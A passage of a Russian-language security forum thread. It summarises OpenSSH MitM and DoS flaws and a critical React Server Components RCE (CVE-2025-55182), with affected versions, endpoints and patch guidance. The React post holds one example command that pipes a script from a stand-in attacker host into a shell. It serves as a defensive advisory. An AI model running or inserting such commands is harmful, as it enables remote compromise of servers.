shorts - краткие, но полезные заметки

[TechnoViking]

В этом треде публикуются посты, на которые стоит обратить внимание, если вы следите за миром ИБ

[TechnoViking]

Уязвимости OpenSSH

В мире кибербезопасности каждый день появляются новые вызовы, и исследователи из Qualys Security Advisory недавно выявили две серьезные уязвимости, связанные с популярным инструментом OpenSSH. Давайте разберемся, что именно было обнаружено и как это может повлиять на вас и вашу инфраструктуру.

1. Атака типа MitM (Man-in-the-Middle)

Представьте себе ситуацию: вы пытаетесь подключиться к своему серверу, и злоумышленник, находящийся между вами и сервером, смог выдать себя за него. Это возможно благодаря уязвимости в OpenSSH, связанной с опцией VerifyHostKeyDNS. Хотя по умолчанию эта опция отключена, она может быть включена в некоторых системах (например, FreeBSD). При активированной проверке, атакующий может обойти все проверки идентичности сервера, что ставит под угрозу безопасность ваших данных.

2. Атака DoS (Denial of Service)

Но это ещё не всё! Открытая возможность для DoS-атак может вызвать недоступность вашего сервиса как для клиента, так и для сервера. Здесь злоумышленники могут использовать метод, при котором клиент будет активно запрашивать сервер, что создаст ненужную нагрузку на ресурсы и может привести к исчерпанию памяти или процессора. Это ненадолго, но достаточно, чтобы вызвать серьезные перебои в работе вашего бизнеса.

Что делать?

Обновите OpenSSH до последних версий! Это важно не только для исправления найденных уязвимостей, но также для получения дополнительных функций безопасности. Кроме того, внедряйте встроенные механизмы защиты, такие как LoginGraceTime и MaxStartups, чтобы минимизировать риски атак.

Источник

[TechnoViking]

CVE-2025-55182: критический RCE в React Server Components

CVE-2025-55182 — критическая уязвимость (CVSS 10.0), затрагивающая React 19 и механизм React Server Components (RSC). Ошибка позволяет атакующему выполнить произвольный код на сервере, отправив злонамеренный сериализованный RSC-payload.

Уязвимость безусловная: не требует авторизации, дополнительных токенов или обходов CORS.

Техника

RSC — это механизм React, позволяющий выполнять часть логики на сервере, после чего результат сериализуется в собственный протокол и отправляется клиенту.

Уязвимость связана с тем, что серверная часть React:

1. десериализует входящие данные без строгой валидации,

2. принимает структуры, которые могут переопределять ссылки на серверные функции,

3. разрешает клиенту принудительно создать объект, вызывающий исполнение произвольного кода.

Иными словами:
клиент может отправить payload, который заставит сервер выполнить функцию, к которой клиент никогда не должен иметь доступа.

така выполняется без авторизации, если приложение использует RSC-эндпоинты, например:

 

/react
/rsc
/_next/server-actions
/.well-known/react

 

Достаточно отправить изменённый RSC-пакет, содержащий вредоносные сериализованные ссылки, чтобы добиться:

• чтения файлов,

• выполнения системных команд,

• выполнения кода внутри серверных функций,

• обхода любых ограничений маршрутизации.

Злоумышленник может вызвать произвольный код на целевом сервере:

child_process.exec("curl attacker.com/pwn | sh")

или подставить свой код в любую серверную функцию (например, getUser() или save()), что приводит к RCE.

Уязвимые пакеты:

• react-server-dom-webpack 19.0.0 — 19.2.0

• react-server-dom-parcel 19.0.0 — 19.2.0

• react-server-dom-turbopack 19.0.0 — 19.2.0

Фреймворки:

Уязвимы любые фреймворки, использующие RSC:

• Next.js 15.x, 16.x, часть 14.x-canary

• Vite + RSC plugin

• Parcel RSC

• Turbopack RSC

• Remix с RSC-адаптацией

• React Router RSC

И даже приложения, созданные командой create-next-app, уязвимы без каких-либо изменений — RSC включён по умолчанию.

 

Способы защиты

1) Обновить React и пакеты RSC до патч-версий:

• react 19.0.1 / 19.1.2 / 19.2.1

• react-server-dom- 19.x.x с патчем*

2) Обновить фреймворки:

• Next.js → версии с фиксами (15.1.x / 16.0.3+)

• Плагины RSC для Vite/Parcel/Turbopack → последние релизы

• React Router / Remix → версии с исправлениями

3) Пересобрать приложение после обновления.

4) Проверить lock-файлы:

rm -rf node_modules

rm package-lock.json или yarn.lock

npm install

5) Ограничить внешние RSC-эндпоинты, если возможно.

 

Как проверить, уязвимо ли приложение

Быстрая диагностика:

1. Выполнить:

npm ls react-server-dom-webpack
npm ls react-server-dom-turbopack

Если версия ниже патч-версии — приложение уязвимо.

2. Проверить, включены ли RSC-роуты (Next.js):

pages/
app/
server actions

3. Если приложение React использует любой серверный рендеринг + RSC — почти наверняка затронуто.